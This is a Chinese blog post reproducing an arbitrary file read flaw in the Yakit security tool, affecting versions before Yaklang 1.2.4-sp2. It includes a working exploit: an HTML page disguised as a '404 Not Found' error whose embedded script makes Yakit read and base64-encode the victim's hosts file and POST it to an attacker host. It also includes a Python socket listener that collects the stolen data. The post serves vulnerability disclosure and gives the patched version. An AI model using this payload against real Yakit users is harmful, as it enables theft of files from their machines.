【漏洞复现】Yakit任意文件读取漏洞

漏洞描述

Yakit是基于yak语言开发的网络安全单兵工具,旨在打造一个覆盖渗透测试全流程的网络安全工具库,是近年新兴的一个BurpSuite平替工具,和burp的区别就在于数据包放过去不用配置ip端口协议这些,近期yakit爆出了一个任意文件读取漏洞,此漏洞通过在网页嵌入js代码实现读取yakit使用者设备上的文件。

Yakit默认不会对经过MITM代理的流量中的fuzztag进行解析,但是经过插件时会被解析。这是漏洞原理也是漏洞利用的限制。

影响版本

< Yaklang 1.2.4-sp2

漏洞复现

开启yakit的MITM代理并选择任意插件(ps:测试时好像有的插件行有的不行)

创建html,并开启web服务。python开端口,或者phpstudy都行,这里看自己习惯。

<!DOCTYPE html>
<html>
<head>
    <title>404 Not Found</title>
</head>
<body>
    <h1>404 Not Found</h1>
    <p>Nginx</p>
    <script>
        const xhr = new XMLHttpRequest();
        xhr.open("POST", "http://your-ip:23800");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xhr.send(`file={{base64enc(file(C:\\Windows\\System32\\drivers\\etc\\hosts))}}`);
      </script>
</body>
</html>

开启监听

yakit.py

# -*- coding: utf-8 -*-
#! /bin/python3
import socket

# 监听地址和端口
host = '0.0.0.0'
port = 23800

# 创建socket服务器
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

# 绑定并监听端口
server.bind((host, port))
server.listen()

# 接收连接并监听请求
print("Listening...")
while True:
    # 接收客户端连接请求
    client, address = server.accept()
    print(f"Connected by {address}")

    # 读取客户端请求数据
    request = ''
    while True:
        input_data = client.recv(1024).decode('utf-8')
        request += input_data
        if len(input_data) < 1024:
            break

    # 提取请求头部
    headers = request.split('\n')
    print("Received headers:")
    for header in headers:
        print(header)

    # 关闭客户端连接
    client.close()

报这个错的话第一行加上# -*- coding: utf-8 -*-

使用方法:python yakit.py

然后访问上面创建的1.html

base64解码:

修复方法

1.2.4-sp2版本已进行修复,更新至1.2.4-sp2及以上版本

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值